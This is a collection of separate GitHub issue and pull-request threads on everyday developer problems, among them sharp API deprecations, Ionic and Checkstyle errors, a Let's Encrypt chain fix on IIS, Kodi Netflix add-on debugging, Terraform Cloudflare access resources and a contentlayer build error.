sharp(input)
  .resize({
    width: 200,
    height: 300,
    fit: 'contain',
    background: {
      r: 0,
      g: 255,
      b: 0,
      alpha: 0.1
    }
  })
  ...

extend
The following:
sharp(input)
  .background({
    r: 255,
    g: 0,
    b: 0,
    alpha: 0.5
  })
  .extend({
    top: 10,
    bottom: 20,
    left: 10,
    right: 10
  })
  ...

will become:
sharp(input)
  .extend({
    top: 10,
    bottom: 20,
    left: 10,
    right: 10,
    background: {
      r: 255,
      g: 0,
      b: 0,
      alpha: 0.5
    }
  })
  ...

flatten
The following:
sharp(input)
  .background('red')
  .flatten()
  ...

will become:
sharp(input)
  .flatten({
    background: 'red'
  })
  ...

Commit a648446 deprecates background from v0.21.0 (and will be removed in v0.22.0).

v0.21.0 now available with this change.

How do we just add a background to a PNG image with transparency - no other transform, just replace the transparency with a color?


EXCEPTION: No provider for ActionSheet!

After a fresh pull from repo, I noticed when clicking on the "Speakers" tab, an error was generated:
EXCEPTION: No provider for ActionSheet! (SpeakerListPage -> ActionSheet)

To fix the error, I made changes to file "speaker-list.js" as follows:
import {NavController, Page, ActionSheet} from 'ionic/ionic';
import {ConferenceData} from '../../providers/conference-data';
import {SpeakerDetailPage} from '../speaker-detail/speaker-detail';
import {SessionDetailPage} from '../session-detail/session-detail';

@Page({
  templateUrl: 'build/pages/speaker-list/speaker-list.html'
})
export class SpeakerListPage {
//  *** Modification ***
//  constructor(nav: NavController, confData: ConferenceData, actionSheet: ActionSheet) {
  constructor(nav: NavController, confData: ConferenceData) {
    this.nav = nav;
    this.confData = confData;
//  *** Modification ***
//   this.actionSheet = actionSheet;
    this.speakers = [];

    confData.getSpeakers().then(speakers => {
      this.speakers = speakers;
    });
  }

  goToSessionDetail(session) {
    this.nav.push(SessionDetailPage, session);
  }

  goToSpeakerDetail(speakerName) {
    this.nav.push(SpeakerDetailPage, speakerName);
  }

  goToSpeakerTwitter(speaker) {
    window.open(`https://twitter.com/${speaker.twitter}`);
  }

  openSpeakerShare(speaker) {
//  *** Modification ***
    ActionSheet.open( androidSheet || {
      buttons: [
        { text: 'Copy Link' },
        { text: 'Share via ...' },
      ],
      titleText: 'Share ' + speaker.name,
      cancelText: 'Cancel',
      cancel: () => {},
      buttonClicked: (index) => {
        switch (index){
          case 0 :
            // TODO
            return true;

          case 1 :
            // TODO
            return true;
        }
      }
    });

  }
}

---
Cordova CLI: 5.4.1
Gulp version:  CLI version 3.9.0
Gulp local:
Ionic Version: 2.0.0-alpha.47
Ionic CLI Version: 2.0.0-beta.15
Ionic App Lib Version: 2.0.0-beta.8
OS:
Node Version: v4.2.4

Thanks for the issue! We refactored the ActionSheet in the latest release (alpha.47) and forgot to update it. It should be fixed now with my most recent commit. :smile:
If you're interested we have a section on the refactor in the CHANGELOG: https://github.com/driftyco/ionic2/blob/master/CHANGELOG.md#200-alpha47-2016-1-4


The checkstyle plugin does not accept imports that are only used in JavaDoc comments

❗ please do not add sensitive information in issues, you can provide extra information via email using issue number as reference ❗
Describe the issue
If I import a Java class only to reference its simple name in a JavaDoc {@link ...} directive, then the build fails. The checkstyle plugin complains that there is an unused import.
Reporter
Martijn Dirkse

To Reproduce
Steps to reproduce the behavior:

Take a Java source file. Update the JavaDoc above the class by adding a {@link ...} that points to a class that is not yet imported.
Add an import pointing to the referenced class.
Run the Maven build.
See the error: The checkstyle plugin says the import of the new class is not used.

Screenshots
If applicable, add screenshots to help explain your problem.
Configuration
Please provide the configuration of the Pipe or Receiver with the problem.

Input
Please provide an example of the input message.
Alternatively, provide a Ladybug report.

Environment
Please go to the console of your Frank, click on 'Information' and copy-paste the results here.

Additional Environment

DBMS: [e.g. Oracle, MSSQL, MariaDB, MySql, PostgreSQL]
Browser: [e.g. Chrome, Safari, Edge, Firefox]

Additional Context
Add any other context about the problem here. (f.e. ladybug report / test adapter with larva test)

This is a configurable setting processJavadoc which is turned on by default.
According to CheckStyle it is considered a bad practice to introduce a compile-time dependency for documentation purposes only. See the CheckStyle UnusedImports Documentation for more info.
As it improves the readability for developers, we can opt to disable this check.
For Eclipse it's important that people read our contributing page, and configure Javadoc processing accordingly.

I cannot seem to reproduce that this is failing, it appears to always have been enabled.
When and where did you have this issue?

I tried to reproduce the issue, but that failed. I temporarily updated Adapter.java to have a JavaDoc pointing to DigesterRule.java (both ibis-adapterframework-core). There was a {@link ...} directive and an import. The build succeeded.
I was curious whether unused imports were detected. They were: the build failed when I removed the {@link ...} in the JavaDoc of Adapter.java.
I think we can close this issue.


Load dupe error

I and many of my players seem to be getting the following issue a lot:

AdvDupe Timer Error: lua/includes/extensions/table.lua:78: bad argument #1 to 'pairs' (table expected, got nil)
stack traceback:
	[C]: in function 'pairs'
	lua/includes/extensions/table.lua:78: in function 'Merge'
	addons/tool_advduplicator/lua/autorun/serialiser.lua:245: in function 'DeserialiseBlock'
	addons/tool_advduplicator/lua/autorun/serialiser.lua:377: in function <addons/tool_advduplicator/lua/autorun/serialiser.lua:375>
	[C]: in function 'xpcall'
	addons/tool_advduplicator/lua/autorun/server/advdupe.lua:1767: in function 'fn'
	addons/ulib/lua/ulib/shared/hook.lua:183: in function <addons/ulib/lua/ulib/shared/hook.lua:161>
AdvDupe: Sending this ErrorMsg to Player [2][DyNATO]
AdvDupe-ERROR: "Failed Loading file"

The only thing that's changed inside the files is the max upload limit (which is set to -1 to disable it).
It's about 50/50 if the dupes load or not.

@MStruntze can you provide the file once more please? The link doesn't work anymore.

It seems to be an issue with newlines not read correctly. I made a quick fix on my own version, though it could probably be written better for optimization.
Here's the edited file: https://gist.github.com/MStruntze/b010a0b9dd1938f5ec36

@MStruntze:
I would recommend to do a pull request for this one. Even when it is a year late. :)

I doubt it's the best approach to solving the issue,
and I personally switched to adv. duplicator 2 instead of this.


Fixes typo

This change is

Coverage remained the same at 82.305% when pulling e69480aff80867b8482b97a532af2662b4c1727a on cubadomingo:patch-1 into 8ca86edf55b2ca54d0a331e3301374a3b1a5df1f on shakacode:master.

Thanks @cubadomingo


Modified verbiage check in response when too large

#78
I have tested this against the following PR
https://github.com/edgexfoundry/edgex-go/pull/604
Signed-off-by: Trevor Conn<EMAIL_ADDRESS>

@weichou1229 please help follow this PR

Closing as irrelevant for now.


Added UNAERP

University Official Website: https://www.unaerp.br/
Computer Engineering Course URL: https://www.unaerp.br/cursos/engenharia-da-computacao
Proof of official email domain:
(Student Portal)

(Google Classroom)

@Xicatto Pull request merged. Thank you!

Thank you @philipto


Add formatter configuration option for disabling glyphs

Context
Implementing this issue: https://github.com/uiua-lang/uiua/issues/60
Adds a DisableGlyphs flag to the .fmt.ua format configuration. If this is set to true, all glyphs will be converted back to their ascii representations. The formatter will also try to add spacing to make the names clearer when this is enabled.

What is the motivation for this?

The issue I linked - if people find keeping track of what the glyphs mean confusing this allows them to write functions by name and keep track of them better.

I think writing code this way, and having unformatted code in general, is actually something I don't want to encourage.
Having unformatted names leaves code open to breakage when new built-in functions are added, and not reading the glyphs could prevent you from having to learn them.
I'm sorry I left that issue open.

Fair enough, no problem!


ToolTips Servers

Originally created by Jaime Alejandro Ochoa Valdivia:
Agregar los tooltips a los campos solicitados

Originally created by Jaime Alejandro Ochoa Valdivia:

Tooltips added to SERVERS category

Originally created by Jaime Alejandro Ochoa Valdivia:
You can check the changes in:
http://<IP_ADDRESS>:8003


unable to get local issuer certivicate

Hello.
On a Windows Server 2012 R2, I use <IP_ADDRESS>0 (RELEASE, PLUGGABLE) to set up SSL certificates on websites hosted on an IIS 8.5 server (see below). This works great.
I use the great service of https://updown.io/ to monitor my certificates. updown.io now warns that the SSL certificates are invalid.
Hence, I reached out to updown.io support and got the answer (below).
I'm unsure what if anything I can do to fix this issue.
Anyone with the same issue?
Thanks.
Morten
updown.io support answer

Thanks for reaching out, I understand the confusion, updown.io UI, unfortunately, does not display well tricky cases like this one. There are several problems at play here:

First of all, as you noticed all your certificates are considered invalid because they are missing an intermediary. This is because one root certificate of let's encrypt is expiring soon, I didn't expect it to hit before September 30, but it turns out ubuntu removed the expired root a bit earlier: https://ubuntu.com/security/notices/USN-5089-1. Let's encrypt already prepared for this change (https://community.letsencrypt.org/t/production-chain-changes/150739) but it seems your certificates are not using the new longer Lets Encrypt chain because your ACME client is asking for the alternative chain. This alternative chain is made to be shorter but as a result, is missing one intermediary certificate in the (now only) valid path.

Here is how it looks in SSL labs for one of your certificates: https://www.ssllabs.com/ssltest/analyze.html?d=just-ride.bike

The first chain is complete but expiring soon and Ubuntu already removed this root a couple of days earlier so it's already invalid, and the second one is valid but missing an intermediate (which is ok for most browsers but not for a stricter HTTP client, like curl). Which ACME client are you using? Could you please try to switch back to the default chain? And if you manage to please let me know what did you change as I may be able to help other users better.

Now that being said, about the other issue here which is the wrong certificate expiration time, this is a side effect of the first problem because as the certificate validation fails because of the missing intermediate, the certificate I end up getting information from is not your certificate but the last one validated by OpenSSL, which is the Path # 1 Let's encrypt R3 in this case, and these are the dates for this certificate. Basically, as one path is invalid because of the missing intermediary and the other one is expiring in 2 days because of the DST Root CA X3 expiration. Fixing the first problem (which is not really your fault but more let's encrypt alternative chain which is not perfect) should fix both problems.

Let me know if you have any other questions and if you manage to update these certs.
Thanks!

Windows ACMEv2 client
A simple Windows ACMEv2 client (WACS)
Software version <IP_ADDRESS>0 (RELEASE, PLUGGABLE)
ACME server https://acme-v02.api.letsencrypt.org/
IIS version 8.5
Running with administrator credentials
Scheduled task looks healthy

For Windows/IIS it actually has nothing to do with what your ACME client (it does matter on linux servers and in Apache/nginx).
You need to disable or remove the R3 issued by DST Root CA X3 from your windows certificate store (certlm.msc > intermediate Certification Authorities), leaving R3 issued by ISRG Root X1, you may then need to reboot or iisreset /restart might also fix it). See also https://docs.certifytheweb.com/docs/kb/kb-202109-letsencrypt/
You can then re-check your certificate chain using the Qualsys SSL checker.

@webprofusion-chrisc thanks a log. Spot on.
I removed "the R3 issued by DST Root CA X3" and had to restart the server, before the change took effect.


Misleading error message

Hi,
The Error which may be thrown in ts2doc function of packages/json/src/index.ts has logical issues.
In my specific case, I have 2 subfolders in my src folder: config and lib. I have pointed patternDocType to the lib folder as in the config folder I only have static objects.
During initialization, I have received the following error:
Unable to find following files: libs/shared/ui/src/lib/form/Input/common.ts, libs/shared/ui/src/lib/utils.ts
It took me quite a while to figure out that for some reason, program.getSourceFiles() resolved my .tsx files with relative path, but .ts files with absolute path. Therefore filesPath.filter((file) => !filesParsed.includes(file)) is false for these 2 entries, although they are present in the array with an absolute path.
Meanwhile, the files I have in the config folder are present in filesParsed, but missing from filesPath (thats why the error condition is true) and will never be included in the error message, as it only contains files present in filesPath but missing from filesParsed.

Hi @netdown can I see your addon configuration for @ts2doc/storybook-addon?
Did you try the path "src" and not only "src/lib"?
Maybe if you have the link of a project with this configuration?

Hi,
Its fine if I point it to the src folder (and not a big deal for me), my main point is only that the error message is misleading.
My previous configuration which threw the error was:
{             name: '@ts2doc/storybook-addon',             options: {                 patternDocType: 'libs/shared/ui/src/lib/**/*.@(ts|tsx)',             }         },


[Wallet] Add dynamic notification to tray from Firebase

Description
Allows adding a notification to the NotificationBox dynamically from Firebase. The CTA opens a WebView with an URI received from Firebase.

Other changes
Added a darkMode option to the notifications on the NotificationBox. Dynamic notifications only look good on dark mode for now since we only have one icon, but adding a different icon for normal mode could fix that in the future.
Tested
Yes
Related issues

Fixes #6137

Backwards compatibility
N/A

Almost good! We also need to update the db-rules:

I didn't know we had this! I edited them manually from the console in the past, at what point does these rules get updated to the database?

Almost good! We also need to update the db-rules:

I didn't know we had this! I edited them manually from the console in the past, at what point does these rules get updated to the database?

I didn't know we had this! I edited them manually from the console in the past, at what point does these rules get updated to the database?

Yes it's only done manually for now.

I didn't know we had this! I edited them manually from the console in the past, at what point does these rules get updated to the database?

Yes it's only done manually for now.

Hi @gnardini We have verified this task on latest testflight 1.8.0(40) & android internal build 1.8.0 and updated the status in sheet.
Test plan link: https://docs.google.com/spreadsheets/d/1phHo7MUMQNLjuJOic1TlZwoHM2T0iecT07VLoKtiqMg/edit#gid=177831960
New Issue:

#6443

Note: We are block to get the rewards &  not able to buy the cUSD because user should redirect to add funds page by tapping on buy cUSD button on simplex page
However. we are using mainnet for valora here user redirecting to simplex page for buying cUSD So, we are blocked to buy the cUSD
Can you please do the needful that how we can buy the cUSD.
Thanks!

Hi @gnardini We have verified this task on latest testflight 1.8.0(40) & android internal build 1.8.0 and updated the status in sheet.
Test plan link: https://docs.google.com/spreadsheets/d/1phHo7MUMQNLjuJOic1TlZwoHM2T0iecT07VLoKtiqMg/edit#gid=177831960
New Issue:

#6443

Note: We are block to get the rewards &  not able to buy the cUSD because user should redirect to add funds page by tapping on buy cUSD button on simplex page
However. we are using mainnet for valora here user redirecting to simplex page for buying cUSD So, we are blocked to buy the cUSD
Can you please do the needful that how we can buy the cUSD.
Thanks!


Error message while running trash

Can you tell me what I am doing wrong here:
FATA[0000] git checkout -f --detach remote-develop failed:
fatal: '--detach' cannot be used with '-b/-B/--orphan'

Workaround: I used the commit hash rather than the branch name and it worked.

@smousa What package and branch did you try to use? I can try to reproduce the problem you were having.

Repo: https://github.com/control-center/go-zookeeper
Branch: remote-develop

Thanks @smousa! I'm putting in the fix now

This should be fixed in master now.


After double click on bitmap/canvas pressup event not working

Hi,
After double clicking on the bitmap/canvas, if we try to move the bitmap (pressmove) and drop the bitmap image(pressup) its not working, please someone assist on remove the double click event to solve this issue.

Can you clarify what is happening, and maybe post some code? I can not reproduce this.
Here is a quick spike: http://jsfiddle.net/lannymcnie/ne4hp1c8/

@lannymcnie  Thanks for the response,
I have a frame(shape) and inside there are some circles(bitmap), so while clicking the bitmap(select) i will update the bitmap image to another one, which will have the hover effect, then i will move(pressmove) and drop (pressup) out of the frame. if do the single click to select then i can able to move and drop out of the frame. But in case if i do double click to select the bitmap image then i can't move and drop(pressup) out of the frame, please find the attached screenshot for the same.
Sample code:
object.on('click',function(){
var icon = new createjs.Bitmap('images/circle_hover.png');
object.image = icon.image;
object.on("pressmove", function (evt) {
frame.removeChild(this);
stage.addChild(this);
}
object.on("pressup", function (evt) {
}
})

Double click issue go resolved by adding the below code,
var canvas = document.getElementById('canvas');
canvas.onselectstart = function () { return false; }

This should be taken care of by the Stage.preventSelection property.
http://createjs.com/docs/easeljs/classes/Stage.html#property_preventSelection

I will this... thank you @lannymcnie


Support for GraphSON 3.0 Export Format

I've received requests for joern-export to support a JSON export format. Following GraphML I suggest supporting the GraphSON 3.0 spec would be a good baseline for a formal graph JSON format.
I'm happy to drive this feature and get support for this out soon.

Sounds great, adding some json format was on my list for some time as well.
How about you give it a shot and pull me in for help? Just hit me up on discord.


How long until the retention policy takes effect?

For step 5, after running Start-ManagedFolderAssistant, when can I expect the new policy to take effect?  I created a test retention policy & tag to permanently delete anything in Deleted Items that is older than 7 days.  After running Start-ManagedFolderAssistant, I still don't see anything deleted per the policy.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 81e9c1f9-d22d-8c83-25bb-637f3121ef33
Version Independent ID: b6c1f57d-978f-c959-ef0a-00ef1b9d9cab
Content: Set up an archive and deletion policy for mailboxes in your Office 365 organization - Microsoft 365 Compliance
Content Source: microsoft-365/compliance/set-up-an-archive-and-deletion-policy-for-mailboxes.md
Service: o365-seccomp
GitHub Login: @markjjo
Microsoft Alias: markjjo

@Canis-Lupis Assuming your retention policy and tags are set up correctly and assuming the MFA has completed the processing of the mailbox, I would imagine 24 hours or so. Otherwise, you could contact Microsoft Support.


MODELIX-466 Add an interface to all generated enums enforcing the presentation field

:tada: This PR is included in version 2.10.8 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


How to add link to grid cell

I can't find any documentation on adding a link to a grid cell and am having no success.
I can't use trNgGrid if I can't add elements in the cells.
== Current:
I have Console.html with a grid, 'consoleGrid'.
The edit column displays, 'Edit'.
== Need to:
Add a link in the edit cells
== My testing:
I am testing with:       "Edit"
Eventually, it will be:  "Edit"
I have tried logic in my javascript, such as:
$scope.consoleGrid[0].edit =  "Edit";
(just trying 1 cell, for now)
I can see that $scope.consoleGrid[0].edit is just a string.
I've tried:

wrapping that in a div
using an onclick,
using a button
adding:  style='display:block;'
etc.

A shortened version of my local test dataset is:
var lineItems = [
{'id': 213,    'edit': 'Edit',   'clientName': "Abe"},
{'id': 22,      'edit': 'Edit',   'clientName': "Joe"},
{'id': 4221,  'edit': 'Edit',   'clientName': "Bob"},
{'id':  5,       'edit': 'Edit',   'clientName': "Tom"}
];
I have tried adding the link logic into lineItems, as well.

Hmm, no feedback. I ended up using ui-grid.


Error running app on Steam Deck

I know this is a long shot (feel free to close this issue if it's off topic), but I'm struggling to get my Electron app to launch and run properly on Steam Deck or on Manjaro Linux, the distro that Steam recommends for testing Steam Deck compatibility.
https://steamcommunity.com/groups/steamworks/discussions/0/3373782431179895116/

Steam Deck app crashes instantly running Electron app
I'm trying to make my app compatible with Steam Deck.
My app seems to work fine on Linux when I launch it directly from the console; I've tested it in Ubuntu 22 and in Manjaro 22. I cd to the directory containing my files, run ./MyGame and it launches without error.
But when I upload the game to SteamPipe and launch it via Steam, something strange happens. When I launch it on a physical Steam Deck, the button briefly turns blue and says "X STOP," but then it just immediately turns green and says "PLAY" again.
I have to assume that the app must have crashed or something? (With no error message??) But I've configured my game to log a message to the file system on the first line, as soon as it launches, and my log message doesn't get run. It's like my app never launches.
More mysteriously, when I "Switch to Desktop", open Konsole, cd to the directory containing my game, and run ./MyGame, it launches without error, just as I'd expect.
Soooo I tried running Steam on Manjaro 22. On Manjaro 22, when I click the Play button, it doesn't crash instantly, or at all. Instead, when I click Play, the button turns blue and says "X STOP" but my app window doesn't open, and no log message is displayed, for exactly 90 seconds (!!!) and then, right at the end of 90 seconds, the app window opens and the game launches and plays normally.
I can't understand at all what could be causing this behavior. As far as I can tell, there are no bugs in my code. As soon as my app ACTUALLY launches, the game starts up immediately, but the Steam launcher is either refusing to launch my app at all (on Steam Deck) or delaying launch needlessly for 90 seconds (on Manjaro).
How can I debug this issue?
(FWIW, my game is an Electron app (a giant wrapper around Google Chrome). It's designed to work great on Windows and Linux, which is part of why I picked Electron as a platform. Could this have something to do with it? I can't imagine what…???)

Any idea what could be wrong here?

I'm still on Greenworks (and Electron) and had roughly the same problem although I didn't test it as thoroughly. What worked for me is:
Go to compatibility and make sure that “force the use of a specific steam play compatibility tool” is checked. Then enable proton experimental mode.
Obviously telling players to do this isn't ideal, but it's working so far. I've got no idea if there's another solution for Electron and Steamdeck. I also don't think it's related to Greenworks or Steamworks.


Update config in configure blocks only

Update all usages of dry-configurable-provided config so that any changes are made inside configure blocks.
This prepares for the changes in https://github.com/dry-rb/dry-configurable/pull/140.

Oh but this means it should go to dry-schema 2.0.0 :/ Is it possible to actually maintain previous behavior?

Just noting for the record that we discussed over in https://github.com/dry-rb/dry-configurable/pull/140 that we would:

make the type spec change (making them mandatory) and push 2.0 along with the configure change

Should we plan zeitwerk for 2.0 as well? I guess we should.

For the record, I've been running zeitwerk for 2+ months on production without problems

Should we plan zeitwerk for 2.0 as well? I guess we should.

I say yes. Most of the work has been completed. It's a matter of releasing stuff and fixing any potential issues (😅).


Update conform-pr action

Checklist

[ ] Tests are added for new functionality or fixed bugs.
[ ] task all passes.

See CONTRIBUTING.md for more details.

@rumyantseva PTAL


restricted_to_testers error: your account can't be used on this device

Bug report
Your Environment

Netflix add-on version: 1.3.2
Operating system version/name: Android TV 9.0
Device model:  Jiuzhou Smart Box X1 Prime from https://sites.google.com/view/droid-tv/oem/jiuzhou-shenzhen

Used Operating system:

[ X ] Android
[ ] iOS
[ ] Linux
[ ] OSX
[ ] Raspberry-Pi
[ ] Windows

Describe the bug

Any video that I try to play will result following message: Sorry, your account can't be used on this device
Snip from log:
ERROR: [plugin.video.netflix (0)] {"from": "nq_cadmium_pbo_manifests<EMAIL_ADDRESS>"version": 2, "serverTime":<PHONE_NUMBER>343, "id":<PHONE_NUMBER>3436, "error": {"code": "RESTRICTED_TO_TESTERS", "errorDisplayMessage": "Maaf, akunmu tidak dapat digunakan di perangkat ini", "bladeRunnerMessage": "manifest/pbcs-: DEVICE_RESTRICTED_TO_TESTER_ACCOUNTS [viewableId=81264510] (nq_cadmium_pbo_manifests@2.30.1/pbo-client@2.30.0)", "errorNccpCode": 5005, "pboc": true, "detail": "manifest/pbcs-: DEVICE_RESTRICTED_TO_TESTER_ACCOUNTS [viewableId=81264510] (nq_cadmium_pbo_manifests@2.30.1/pbo-client@2.30.0)", "errorExternalCode": 5005, "alertTag": "", "nccpError": {}, "errorActionId": 3, "errorSubCode": -1, "errorReasonCode": 101, "display": "Maaf, akunmu tidak dapat digunakan di perangkat ini"}}
Expected behavior

The video should play normally
Actual behavior

Following message box popped up: Sorry, your account can't be used on this device
Steps to reproduce the behavior

Installed Kodi Leia and latest netflix addon from repository
Open the netflix plugins and select any random movies / tv show
Click to play the video

Possible fix

Debug log

The debug log can be found from this link:
https://pastebin.com/VUPwHeWf
Additional context or screenshots (if appropriate)
Installation

[ ] I'm using other Netflix Repo
[ ] I'm using a different source

I am using the repo from the installation instructions.
Other information

Using official Netflix app is very hard to navigate using remote. Using Netflix for Android TV resulting in unsupported device error. That is why I tried to install this plugin on kodi.
Screenshots

The log not much useful without nf debug info, instruction are in readme
i need a new log with debug verbose and a screen shot of the ESN from the settigns of official app (with censured only last part of numbers)

@CastagnaIT
Thank you so much for the support. Now I enabled logging since before kodi starting:
https://paste.kodi.tv/notojiqeri.kodi
Is this correct now?
Not sure how to screenshot Android TV Box, I take a photo instead (I blurred last part):

no you do not have enabled netflix debug verbose

Here is the log with netflix verbose enabled. Sorry I missed that: https://paste.kodi.tv/qecidubuyo.kodi

good, now i need another thing, that provide me device info,
i write here the steps:
1- Install Material terminal App
2- Open it, in the black screen write getprop (a long list must be viewed)
3- Open app options (3 dots) and select Send by email
You can send to<EMAIL_ADDRESS>after that i will prepare a test

@CastagnaIT
Thank you, I have send the email just now.

Hi i see,
please uninstall the preivous version and also userdata when prompt,
then install this test:
plugin.video.netflix_1.4.0_20200602_t1.zip

@CastagnaIT Thank you for the test plugins. Somehow I got MSL error. What I have done:

uninstall previous version and clearing userdata when prompted
clear memory and storage cache in plugins expert configuration
logged out, change netflix password and logged in again

I haven't tried installing the previous version again yet. https://pastebin.com/810VeVav

you forgot to enable debug verbose in nf settings, so i can not full understand what happen...
but try also this:
Open addon settings, in expert settings, in Manual ESN field write this:
NFANDROID1-PRV-B-L3-JIUZHX1-PRIME-C-4445-

@CastagnaIT
Oh sorry, the debug is disabled when reinstalling.
I tried to change the Manual ESN as you instructed, but it still have the same error. Here is the log: https://pastebin.com/rjF88kTr

Unfortunately, also this last attempt doesn't work, there is nothing to do
you can not use your device with netflix add-on


Instructions in the README.md do not mention about using GO111MODULE=on for build/run

Following the instructions from the main page of the project do not work and result in errors during build.
The instructions state:

This document assumes that you have a working Go development environment.
Download using GO111MODULE=on go get github.com/minio/minio-go/v7
Run using go run file-uploader.go

I can confirm that my build environment is working for other projects.
This is using the version shipped with the latest version of Ubuntu Focal.
go version go1.13.8 linux/amd64
Using either go build or go run result in the same output.
$ go build file-uploader.go
file-uploader.go:7:2: cannot find package "github.com/minio/minio-go/v7" in any of:
        /usr/lib/go-1.13/src/github.com/minio/minio-go/v7 (from $GOROOT)
        /home/jerome/go/src/github.com/minio/minio-go/v7 (from $GOPATH)
file-uploader.go:8:2: cannot find package "github.com/minio/minio-go/v7/pkg/credentials" in any of:
        /usr/lib/go-1.13/src/github.com/minio/minio-go/v7/pkg/credentials (from $GOROOT)
        /home/jerome/go/src/github.com/minio/minio-go/v7/pkg/credentials (from $GOPATH)

However, if I export GO111MODULE=on before building or running, everything is fine.  The documentation only mentions that it should be used during the go get.

Fixed in fe1f3855b146c1b6ce4199740d317e44cf9e85c2


feat(faucet): create faucet account phoenix chain

What does this PR have?

Create faucet account phoenix chain
Links in rewards distribution

Resolve #724
Resolve #761

@AngeloCG97  do we need to define the HAPI_EOS_FAUCET_ACCOUNT_PASSWORD as a secret also?


OCPBUGS-15740: Fix show-config command output

Command microshift show-config must show the running configuration. This command loaded the configuration from /etc/microshift/config.yaml if it existed, possibly showing wrong information (editing the file without restarting microshift yields wrong data).
Having no configuration file fills the config with defaults. This might also be wrong in the event of a hostname change, when this is automatically fixed to use the previous name. This command would show the new name when MicroShift is using the previous one.
New approach stores the running configuration upon start and returns it when asked for it.
If MicroShift is not running this command returns the last active config.

Which issue(s) this PR addresses:

Closes #

/cc @dhellmann @pmtk

/test ci/prow/microshift-e2e

/jira refresh


how to use datashader to generate html file without Jupyter Notebook

How can I use the datashader to output in a html file ?
I managed to output an holoviews image into a file:
img = generate_image()  # generate a 600x1000 image
hv_image = hv.Image(img.astype('float64'))
rg = regrid(hv_image)

renderer = hv.renderer('bokeh')
plot = renderer.get_plot(hv_image).state
output_file("graph.html")
show(plot)
--or--
renderer = hv.renderer('bokeh').save(hv_image, 'graph')

however, when I use the datashader, it does not work
img = generate_image()  # generate a 600x1000 image
hv_image = hv.Image(img.astype('float64'))
rg = regrid(hv_image)
shaded = shade(rg, cmap=viridis, normalization='linear')
layout = shaded.opts(plot=dict(width=1000,
                               height=600,
                               xaxis=None,
                               yaxis=None))

renderer = hv.renderer('bokeh')
plot = renderer.get_plot(layout).state  # neither  plot = renderer.get_plot(datashade(hv_image)).state
output_file("graph.html")
show(plot)
--or--
renderer = hv.renderer('bokeh').save(layout, 'graph')

This works perfectly in a notebook, but how to output in a html file ?
[EDIT]
I got an error when opening the file graph.html:

Uncaught TypeError: Cannot read property 'get_client_comm' of undefined
at eval (eval at get (bokeh-0.12.16.min.js:1), :57:38)
at i.execute (bokeh-0.12.16.min.js:1)
at e. (bokeh-0.12.16.min.js:1)
at e.t.emit (bokeh-0.12.16.min.js:1)
at e.emit (bokeh-0.12.16.min.js:1)
at e._setv (bokeh-0.12.16.min.js:1)
at e.setv (bokeh-0.12.16.min.js:1)
at e._layout (bokeh-0.12.16.min.js:1)
at e._layout (bokeh-0.12.16.min.js:1)
at e._do_layout (bokeh-0.12.16.min.js:1)

the image is displayed when I open the console in Chrome for example, but I cannot zoom in or use any bokeh feature due to this error

Juste read this in the doc:

Unfortunately, a static approach like this cannot support any HoloViews object that uses DynamicMap (either directly or via operations that return DynamicMaps like decimate , datashade , and rasterize ). Anything with DynamicMap requires a live, running Python server to dynamically select and provide the data for the various parameters that can be selected by the user. Luckily, when you need a live Python process during the visualization, the Bokeh server provides a very convenient way of deploying HoloViews plots and interactive dashboards in a scalable and flexible manner.

Documentation

This is definitely a bug, the note you pasted refers to interactive features that require a server but the JS code should not error when those features are not available.

For now I'd just recommend rg = regrid(hv_image) with rg = regrid(hv_image, dynamic=False).

Thanks ! the image is well displayed now.

This was fixed.


Revert access applications to use zone-id instead of account-id

Hi,
Please revert changes introduced in https://github.com/cloudflare/terraform-provider-cloudflare/pull/724 so that access resources prefer zone_id instead of account_id.
Zones path deprecation has been cancelled due the fact that you cannot create granular enough access-tokens in large enterprises without the zones. Currently we are unable to work with provider versions 2.10 forward.
Br,
Petteri

@piizei Are you able to please elaborate on the issue you're facing here? A production test case would be great to fully demonstrate the issue.
@Justin-Holmes do you know anything about the deprecation being reverted?

Hello,
@piizei is correct that we reverted our decision to deprecate zone-level routes. In terms of next steps, I was thinking we'd support both zone_id and account_id for Access resources and direct the request to the proper route. This will require us to add support for the zone-level endpoints in cloudflare-go before we can make this change. Assuming this approach sounds good to you @jacobbednarz, I can get started on this tomorrow!

Hi,
@jacobbednarz the problem is that after 2.10.1 release this does not work anymore:
provider "cloudflare" {
  api_token = var.api_token
}
resource "cloudflare_access_application" "app" {
  zone_id          = var.dns_zone_id
  name             = var.target_dns
  domain           = var.target_dns
  session_duration = "30m"
  auto_redirect_to_identity = true
  allowed_idps = var.allowed_idps
}

Reason being that our api_tokens don't have account level access. Change introduced in 2.10.1 tries to use level access even if just zone_id is provided. This results 403 for us when terraform runs.


StartupConfig + HTMConfig

Reading setting from json format
HTMConfig to json files

@javedcoding I have add a reading of json file into startupConfig and HTM Config in the Program.cs and a few other things.
I suggested merging to your branch and resolve the conflicts.
I can also arrange a call with you to resolve the conflict if needed.

It is now VideoConfig and HtmConfig


ConfigReadError : compiled contentlayer config not found

Hi! I am trying to upgrade contentlayer and next-contentlayer from 0.1 to 0.2 and ran into this issue. The website seems to be building correctly and running but I wanted to see if this error during the build step is expected with the upgrade or not.
Here is the PR: https://github.com/satvik-s/dev-blog-v2/pull/30
Here is the error log from Vercel
[18:22:46.469] Installing dependencies...
[18:23:28.347]
[18:23:28.347] ><EMAIL_ADDRESS>postinstall /vercel/path0/node_modules/core-js-pure
[18:23:28.348] > node -e "try{require('./postinstall')}catch(e){}"
[18:23:28.348]
[18:23:28.424]
[18:23:28.424] ><EMAIL_ADDRESS>postinstall /vercel/path0/node_modules/esbuild
[18:23:28.424] > node install.js
[18:23:28.424]
[18:23:28.573]
[18:23:28.574] ><EMAIL_ADDRESS>postinstall /vercel/path0/node_modules/protobufjs
[18:23:28.574] > node scripts/postinstall
[18:23:28.574]
[18:23:28.705]
[18:23:28.706] ><EMAIL_ADDRESS>postinstall /vercel/path0/node_modules/contentlayer
[18:23:28.706] > node ./bin/cli.cjs postinstall || echo 'No Contentlayer build found.'
[18:23:28.706]
[18:23:30.678] ConfigReadError {
[18:23:30.678]   error: Error [ERR_MODULE_NOT_FOUND]: Cannot find module '/.contentlayer/.cache/v0.2.4/compiled-contentlayer-config-A4IIJG2P.mjs' imported from<EMAIL_ADDRESS>[18:23:30.678]       at new NodeError (internal/errors.js:322:7)
[18:23:30.678]       at finalizeResolution (internal/modules/esm/resolve.js:318:11)
